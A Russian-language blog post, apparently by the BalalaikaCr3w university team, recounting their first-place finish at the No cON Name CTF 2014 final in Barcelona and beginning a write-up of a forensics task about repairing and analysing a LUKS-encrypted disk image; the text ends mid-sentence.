{"id":245011,"date":"2014-12-12T17:02:03","date_gmt":"2014-12-12T13:02:03","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=245011"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=245011","title":{"rendered":"<span class=\"post_title\">No cON Name CTF 2014 Final<\/span>"},"content":{"rendered":"<div class=\"content html_format\">     \t\u0421 30 \u043e\u043a\u0442\u044f\u0431\u0440\u044f \u043f\u043e 1 \u043d\u043e\u044f\u0431\u0440\u044f \u0432 \u0411\u0430\u0440\u0441\u0435\u043b\u043e\u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b\u0430 \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u044f \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 <i>No cON Name 2014<\/i>, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0436\u0435 \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0444\u0438\u043d\u0430\u043b \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u00ab<i>Capture The Flag<\/i>\u00bb. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0418\u043d\u043d\u043e\u043f\u043e\u043b\u0438\u0441 BalalaikaCr3w \u043f\u0440\u0438\u043d\u044f\u043b\u0430 \u0443\u0447\u0430\u0441\u0442\u0438\u0435 \u0432 \u044d\u0442\u043e\u043c \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u0437\u0430\u043d\u044f\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u043d\u0430\u0448 \u0440\u0430\u0441\u0441\u043a\u0430\u0437 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u044d\u0442\u043e \u0431\u044b\u043b\u043e, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u0442\u0435\u043c, \u043a\u0442\u043e \u043d\u0430\u043c \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u043c\u043e\u0433.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/bb0\/ac7\/277\/bb0ac727781e4d19a59cd47da365b7db.jpg\"\/><br \/>  <i>CTF-\u0437\u043e\u043d\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0444\u0438\u043d\u0430\u043b\u0430<\/i><br \/>  <a name=\"habracut\"><\/a>  <\/p>\n<h3>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 CTF<\/h3>\n<p>  \u0414\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0435\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u00ab<i>Capture The Flag<\/i>\u00bb. \u042d\u0442\u043e \u0441\u0432\u043e\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u043e\u0433 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u043f\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e, \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0434\u0435\u0441\u044c \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0435 \u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434, \u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0447\u0443\u0436\u043e\u043c. \u0417\u0430\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430, \u00ab\u0441\u0430\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u0443\u044e\u00bb \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u043d\u0435\u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0432\u0441\u0442\u0430\u0432\u043a\u0443 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u0445\u043e\u0436\u0438\u0445 \u0441 \u0442\u0435\u043c\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432: \u0430\u043d\u0430\u043b\u0438\u0437 \u043b\u043e\u0433\u043e\u0432, \u043f\u043e\u0438\u0441\u043a \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u2014 <i>\u0444\u043b\u0430\u0433<\/i>. \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0444\u043b\u0430\u0433\u0438 \u0441\u0434\u0430\u044e\u0442\u0441\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u0437\u0430\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u043e\u0447\u043a\u043e\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435.<\/p>\n<p>  \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u043d\u043b\u0430\u0439\u043d \u0438 \u0438\u043c\u0435\u044e\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0443\u044e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u044e\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0442\u0443\u0440, \u0433\u0434\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u0430\u043d\u0434 (\u043e\u043a\u043e\u043b\u043e 10), \u0437\u0430\u043d\u044f\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0445\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u0447\u043a\u0438 \u0432 \u043e\u043d\u043b\u0430\u0439\u043d \u0442\u0443\u0440\u0435, \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u0432 \u0440\u0430\u0432\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 (\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0447\u0430\u0441\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u044f\u0441\u0430) \u0441\u0440\u0430\u0437\u0438\u0442\u044c\u0441\u044f \u0434\u0440\u0443\u0433 \u0441 \u0434\u0440\u0443\u0433\u043e\u043c \u0437\u0430 \u043f\u0435\u0440\u0432\u043e\u0435 \u043c\u0435\u0441\u0442\u043e.<\/p>\n<h3>\u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0438: \u00abNo cON Name CTF 2013\u00bb<\/h3>\n<p>  \u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 <i>No cON Name CTF<\/i> \u0431\u044b\u043b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u043d \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 Facebook. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u043e\u0442\u0431\u043e\u0440\u043e\u0447\u043d\u044b\u0439 \u0442\u0443\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0432\u0441\u0435\u0433\u043e \u0438\u0437 \u0442\u0440\u0435\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439, \u0444\u0438\u043d\u0430\u043b \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0438 \u0434\u043e\u0441\u0442\u043e\u0439\u043d\u044b\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f. \u0424\u043e\u0440\u043c\u0430\u0442 \u0444\u0438\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u0431\u044b\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0435 \u0442\u0438\u043f\u0438\u0447\u0435\u043d \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 CTF \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439: \u0431\u044b\u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u0437\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0434\u0438\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0434\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0447\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432. \u041a\u043e\u043c\u0430\u043d\u0434\u0435 \u043f\u0440\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0451 \u0438\u043c\u044f \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0420\u0430\u0437 \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u043a \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 \u0431\u0440\u0430\u043b\u0430 \u0438\u043c\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u0437 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u043d\u0430\u0447\u0438\u0441\u043b\u044f\u043b\u0430 \u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0447\u043a\u043e\u0432.<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/e2b\/8fb\/f8d\/e2b8fbf8d7104249b5809e49f99d286e.jpg\"\/><br \/>  <i>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 BalalaikaCr3w \u0437\u0430\u043d\u044f\u043b\u0430 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 3 \u043c\u0435\u0441\u0442\u043e<\/i><\/p>\n<h3>\u041e\u0442\u0431\u043e\u0440\u043e\u0447\u043d\u044b\u0439 \u0442\u0443\u0440 \u201cNo cON Name 2014\u201d<\/h3>\n<p>  \u0412 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 \u043e\u0442\u0431\u043e\u0440\u043e\u0447\u043d\u044b\u0439 \u044d\u0442\u0430\u043f \u0434\u043b\u0438\u043b\u0441\u044f 24 \u0447\u0430\u0441\u0430 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043b \u0438\u0437 10 \u0437\u0430\u0434\u0430\u043d\u0438\u0439, 9 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u0432 \u043f\u0435\u0440\u0432\u044b\u0435 \u0447\u0430\u0441\u044b \u0438\u0433\u0440\u044b. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0436\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <i>Explicit<\/i> \u043d\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0448\u0438\u0442\u044c \u043b\u0438\u0448\u044c \u0437\u0430 5-6 \u0447\u0430\u0441\u043e\u0432 \u0434\u043e \u043a\u043e\u043d\u0446\u0430 CTF. \u0420\u0430\u0437\u0431\u043e\u0440\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u043e\u0442\u0431\u043e\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"http:\/\/ctfcrew.org\/event\/23\">\u0432 \u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435<\/a>.<\/p>\n<h3>\u0424\u0438\u043d\u0430\u043b \u201cNo cON Name 2014\u201d<\/h3>\n<p>  \u0424\u0438\u043d\u0430\u043b, \u043a\u0430\u043a \u0432\u044b \u0443\u0436\u0435 \u043f\u043e\u043d\u044f\u043b\u0438, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0432 \u0411\u0430\u0440\u0441\u0435\u043b\u043e\u043d\u0435, \u043d\u0430 \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 <a href=\"http:\/\/www.url.edu\/en\">Ram\u00f3n Llull University<\/a>. \u0423\u0441\u043b\u043e\u0432\u0438\u044f: 8 \u0447\u0430\u0441\u043e\u0432, 16 \u0437\u0430\u0434\u0430\u043d\u0438\u0439. \u0426\u0435\u043d\u0430 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043e\u0442 150 \u0434\u043e 400 \u043e\u0447\u043a\u043e\u0432. \u041e\u0434\u043d\u043e \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u2014 \u043e\u0431\u0449\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u00ab\u0437\u0430\u0445\u0432\u0430\u0442\u00bb \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 50 \u043e\u0447\u043a\u043e\u0432 \u043a\u0430\u0436\u0434\u044b\u0435 10 \u043c\u0438\u043d\u0443\u0442.<\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u043e\u043f\u0438\u0448\u0435\u043c \u043f\u0430\u0440\u0443 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0438 \u043d\u0430\u0448 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044e. \u042d\u0442\u043e\u0442 \u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u043b\u0441\u044f \u043d\u0435 \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0444\u0430\u043d\u0430\u0442\u043e\u0432 \u0418\u0411, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043b\u044e\u0434\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0435\u043c \u0436\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f\u0445, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u043c\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u043b\u0438, \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u0432 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0445 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 writeup&#8217;\u044b \u0432 \u0431\u043b\u043e\u0433\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.<\/p>\n<h3>\u0417\u0430\u0434\u0430\u043d\u0438\u0435 HIDDENtation (300 \u043e\u0447\u043a\u043e\u0432)<\/h3>\n<p>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435: &quot;<i>Dig deep into the file and find the flag<\/i>&quot;, \u0434\u0430\u043d \u0444\u0430\u0439\u043b \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043e\u043a\u043e\u043b\u043e 95 \u041c\u0431.<\/p>\n<p>  \u041e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0445 \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430 \u043b\u044e\u0431\u043e\u043c CTF \u2014 \u044d\u0442\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0447\u0435\u0433\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0433\u043e. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043d\u0430\u043c \u0431\u044b\u043b\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0438\u0441\u043a\u043e\u0432 LUKS. \u041e \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u0438\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u0438\u0441\u043a\u043e\u043c, \u043c\u044b \u0431\u044b\u0441\u0442\u0440\u043e \u0432\u044b\u044f\u0441\u043d\u044f\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e hex-\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u201c<b>LUKs<\/b>\u201d (<b>4C 55 4B 73<\/b>).<\/p>\n<p>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/75a\/e2d\/0c8\/75ae2d0c882b46d8b22e19261a121237.png\"\/><\/p>\n<p>  \u0428\u0442\u0430\u0442\u043d\u0430\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u0430 <i>cryptsetup<\/i> \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0434\u0438\u0441\u043a\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u0444\u0430\u0439\u043b\u043e\u043c \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u0432\u044b\u0434\u0430\u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 &quot;<i>Device hiddentation is not a valid LUKS device<\/i>&quot;. \u0418\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u043c\u044b \u0443\u0437\u043d\u0430\u0451\u043c, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0430\u044f \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u201c<b>LUKS<\/b>\u201d (<b>4C 55 4B 53<\/b>). \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c, \u0442\u0435\u043f\u0435\u0440\u044c \u0444\u0430\u0439\u043b \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u043d\u043e \u0443 \u043d\u0430\u0441 \u043d\u0435\u0442 \u043a\u043b\u044e\u0447\u0430 \u043e\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u043a\u0430.<\/p>\n<p>  \u041f\u043e\u0447\u0438\u0442\u0430\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e, \u0432\u044b\u044f\u0441\u043d\u044f\u0435\u043c, \u0447\u0442\u043e \u0434\u0438\u0441\u043a \u0448\u0438\u0444\u0440\u0443\u0435\u0442\u0441\u044f <i>\u043c\u0430\u0441\u0442\u0435\u0440-\u043a\u043b\u044e\u0447\u043e\u043c<\/i>, \u043d\u043e \u0441\u0430\u043c \u044d\u0442\u043e\u0442 \u043a\u043b\u044e\u0447 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u043e\u043f\u0438\u044f\u0445 \u0432 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432\u0438\u0434\u0435 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u0434\u0438\u0441\u043a\u0430. \u0414\u043b\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u043c\u0430\u0441\u0442\u0435\u0440-\u043a\u043b\u044e\u0447\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u0432\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043a\u043b\u044e\u0447. \u0422\u0430\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e \u0432\u043e\u0441\u044c\u043c\u0438, \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u044f\u0447\u0435\u0435\u043a \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u0434\u0438\u0441\u043a\u0430.<br \/>  <img decoding=\"async\" src=\"\/\/habrastorage.org\/files\/c24\/88d\/ba4\/c2488dba48cc4a68874f3609735b37e9.png\"\/><br \/>  \u0412 \u043d\u0430\u0448\u0435\u043c 